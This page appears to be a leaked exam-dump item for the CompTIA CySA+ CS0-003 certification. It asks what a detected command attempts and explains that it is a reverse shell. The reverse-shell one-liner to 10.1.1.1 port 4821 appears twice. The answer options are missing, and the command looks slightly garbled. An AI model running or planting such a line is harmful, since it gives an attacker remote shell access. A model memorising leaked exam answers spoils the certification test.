Valid CS0-003 Dumps shared by ExamDiscuss.com for Helping Passing CS0-003 Exam! ExamDiscuss.com now offer the newest CS0-003 exam dumps, the ExamDiscuss.com CS0-003 exam questions have been updated and answers have been corrected get the newest ExamDiscuss.com CS0-003 dumps with Test Engine here:
A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?
Correct Answer: B
A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user's system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l This command is a shell script that creates a reverse shell connection from the target system to the remote user's system at IP address 10.1.1.1 and port 4821 using UDP protocol.